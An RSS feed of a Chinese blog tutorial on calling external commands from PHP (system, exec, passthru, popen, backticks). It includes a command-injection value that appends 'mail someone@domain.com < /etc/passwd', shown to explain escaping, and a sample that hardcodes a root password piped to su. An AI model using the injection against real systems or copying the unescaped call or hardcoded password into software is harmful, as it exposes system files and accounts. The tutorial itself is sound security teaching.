<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[向东博客 专注WEB应用 构架之美 --- 构架之美，在于尽态极妍 | 应用之美，在于药到病除]]></title> 
<link>http://jackxiang.com/index.php</link> 
<description><![CDATA[赢在IT，Playin' with IT,Focus on Killer Application,Marketing Meets Technology.]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[向东博客 专注WEB应用 构架之美 --- 构架之美，在于尽态极妍 | 应用之美，在于药到病除]]></copyright>
<item>
<link>http://jackxiang.com/post//</link>
<title><![CDATA[在PHP中执行系统外部命令]]></title> 
<author>jack &lt;xdy108@126.com&gt;</author>
<category><![CDATA[WEB2.0]]></category>
<pubDate>Thu, 17 Jul 2008 12:43:52 +0000</pubDate> 
<guid>http://jackxiang.com/post//</guid> 
<description>
<![CDATA[ 
	PHP作为一种服务器端的脚本语言，象编写简单，或者是复杂的动态网页这样的任务，它完全能够胜任。但事情不总是如此，有时为了实现某个功能，必须借助于操作系统的外部程序（或者称之为命令），这样可以做到事半功倍。<br/><br/>　　那么，是否可以在PHP脚本中调用外部命令呢？如果能，如何去做呢？有些什么方面的顾虑呢？相信你看了本文后，肯定能够回答这些问题了。<br/><br/>　　是否可以？<br/><br/>　　答案是肯定的。PHP和其它的程序设计语言一样，完全可以在程序内调用外部命令，并且是很简单的：只要用一个或几个函数即可。<br/><br/>　　前提条件<br/><br/>　　由于PHP基本是用于WEB程序开发的，所以安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门：安全模式。如果运行在安全模式下，那么PHP脚本中将受到如下四个方面的限制：<br/><br/>　　执行外部命令<br/><br/>　　在打开文件时有些限制<br/><br/>　　连接MySQL数据库<br/><br/>　　基于HTTP的认证<br/><br/>　　在安全模式下，只有在特定目录中的外部程序才可以被执行，对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用 safe_mode_exec_dir指令，或在编译PHP是加上--with-exec-dir选项来指定，默认是/usr/local/php /bin。<br/><br/>　　如果你调用一个应该可以输出结果的外部命令（意思是PHP脚本没有错误），得到的却是一片空白，那么很可能你的网管已经把PHP运行在安全模式下了。<br/><br/>　　如何做？<br/><br/>　　在PHP中调用外部命令，可以用如下三种方法来实现：<br/><br/>　　1） 用PHP提供的专门函数<br/><br/>　　PHP提供共了3个专门的执行外部命令的函数：system()，exec()，passthru()。<br/><br/>　　system()<br/><br/>　　原型：string system (string command [, int return_var])<br/><br/>　　system()函数很其它语言中的差不多，它执行给定的命令，输出和返回结果。第二个参数是可选的，用来得到命令执行后的状态码。<br/><br/>　　例子：<br/><br/>　　<br/>　　system(&quot;/usr/local/bin/webalizer/webalizer&quot;);<br/><br/>　　?&gt;<br/><br/>　　exec()<br/><br/>　　原型：string exec (string command [, string array [, int return_var]])<br/><br/>　　exec()函数与system()类似，也执行给定的命令，但不输出结果，而是返回结果的最后一行。虽然它只返回命令结果的最后一行，但用第二个参数array可以得到完整的结果，方法是把结果逐行追加到array的结尾处。所以如果array不是空的，在调用之前最好用unset()最它清掉。只有指定了第二个参数时，才可以用第三个参数，用来取得命令执行的状态码。<br/><br/>　　例子：<br/><br/>　　<br/>　　exec(&quot;/bin/ls -l&quot;);<br/><br/>　　exec(&quot;/bin/ls -l&quot;, $res);<br/><br/>　　#$res是一个数据，每个元素代表结果的一行<br/><br/>　　exec(&quot;/bin/ls -l&quot;, $res, $rc);<br/><br/>　　#$rc的值是命令/bin/ls -l的状态码。成功的情况下通常是0<br/><br/>　　?&gt;<br/><br/>　　passthru()<br/><br/>　　原型：void passthru (string command [, int return_var])<br/><br/>　　passthru()只调用命令，不返回任何结果，但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus（Unix下的一个处理图片的工具，输出二进制的原始图片的流）这样的程序。同样它也可以得到命令执行的状态码。<br/><br/>　　例子：<br/><br/>　　<br/>　　header(&quot;Content-type: image/gif&quot;);<br/><br/>　　passthru(&quot;./ppmtogif hunte.ppm&quot;);<br/><br/>　　?&gt;<br/><br/>　　2） 用popen()函数打开进程<br/><br/>　　上面的方法只能简单地执行命令，却不能与命令交互。但有些时候必须向命令输入一些东西，如在增加Linux的系统用户时，要调用su来把当前用户换到root才行，而su命令必须要在命令行上输入root的密码。这种情况下，用上面提到的方法显然是不行的。<br/><br/>　　popen()函数打开一个进程管道来执行给定的命令，返回一个文件句柄。既然返回的是一个文件句柄，那么就可以对它读和写了。在PHP3中，对这种句柄只能做单一的操作模式，要么写，要么读；从PHP4开始，可以同时读和写了。除非这个句柄是以一种模式（读或写）打开的，否则必须调用 pclose()函数来关闭它。<br/><br/>　　例子1：<br/><br/>　　<br/>　　$fp=popen(&quot;/bin/ls -l&quot;, &quot;r&quot;);<br/><br/>　　?&gt;<br/><br/>　　例子2（本例来自PHP中国联盟网站http://www.phpx.com/show.php?d=col&amp;i=51）：<br/><br/>　　<br/>　　/* PHP中如何增加一个系统用户<br/><br/>　　下面是一段例程，增加一个名字为james的用户,<br/><br/>　　root密码是 verygood。仅供参考<br/><br/>　　*/<br/><br/>　　$sucommand = &quot;su --login root --command&quot;;<br/><br/>　　$useradd = &quot;useradd &quot;;<br/><br/>　　$rootpasswd = &quot;verygood&quot;;<br/><br/>　　$user = &quot;james&quot;;<br/><br/>　　$user_add = sprintf(&quot;%s &quot;%s %s&quot;&quot;,$sucommand,$useradd,$user);<br/><br/>　　$fp = @popen($user_add,&quot;w&quot;);<br/><br/>　　@fputs($fp,$rootpasswd);<br/><br/>　　@pclose($fp);<br/><br/>　　?&gt;<br/><br/>　　3） 用反撇号（`，也就是键盘上ESC键下面的那个，和~在同一个上面）<br/><br/>　　这个方法以前没有归入PHP的文档，是作为一个秘技存在的。方法很简单，用两个反撇号把要执行的命令括起来作为一个表达式，这个表达式的值就是命令执行的结果。如：<br/><br/>　　<br/>　　$res=`/bin/ls -l`;<br/><br/>　　echo &#039;<br/>&#039;.$res.&#039;<br/>&#039;;<br/><br/>　　?&gt;<br/><br/>　　这个脚本的输出就象：<br/><br/>　　hunte.gif<br/><br/>　　hunte.ppm<br/><br/>　　jpg.htm<br/><br/>　　jpg.jpg<br/><br/>　　passthru.php<br/><br/>　　要考虑些什么？<br/><br/>　　要考虑两个问题：安全性和超时。<br/><br/>　　先看安全性。比如，你有一家小型的网上商店，所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件，让你的用户输入他们的 EMAIL地址，然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数（或者从未听说过），你就调用Linux/Unix系统的mail 程序来发送这个文件。程序就象这样：<br/><br/>　　<br/>　　system(&quot;mail $to &lt; products.txt&quot;);<br/><br/>　　echo &quot;我们的产品目录已经发送到你的信箱：$to&quot;;<br/><br/>　　?&gt;<br/><br/>　　用这段代码，一般的用户不会产生什么危险，但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址：<br/><br/>　　&#039;--bla ; mail someone@domain.com &lt; /etc/passwd ;&#039;<br/><br/>　　那么这条命令最终变成：<br/><br/>　　&#039;mail --bla ; mail someone@domain.com &lt; /etc/passwd ; &lt; products.txt&#039;<br/><br/>　　我相信，无论哪个网络管理人员见到这样的命令，都会吓出一身冷汗来。<br/><br/>　　幸好，PHP为我们提供了两个函数：EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd 把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的，象分号（），重定向（&gt;）和从文件读入（&lt;）等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号，并把字符串中的单引号转义，这样这个字符串就可以安全地作为命令的参数。<br/><br/>　　再来看看超时问题。如果要执行的命令要花费很长的时间，那么应该把这个命令放到系统的后台去运行。但在默认情况下，象system()等函数要等到这个命令运行完才返回（实际上是要等命令的输出结果），这肯定会引起PHP脚本的超时。解决的办法是把命令的输出重定向到另外一个文件或流中。
]]>
</description>
</item><item>
<link>http://jackxiang.com/post//#blogcomment</link>
<title><![CDATA[[评论] 在PHP中执行系统外部命令]]></title> 
<author> &lt;user@domain.com&gt;</author>
<category><![CDATA[评论]]></category>
<pubDate>Thu, 01 Jan 1970 00:00:00 +0000</pubDate> 
<guid>http://jackxiang.com/post//#blogcomment</guid> 
<description>
<![CDATA[ 
	
]]>
</description>
</item>
</channel>
</rss>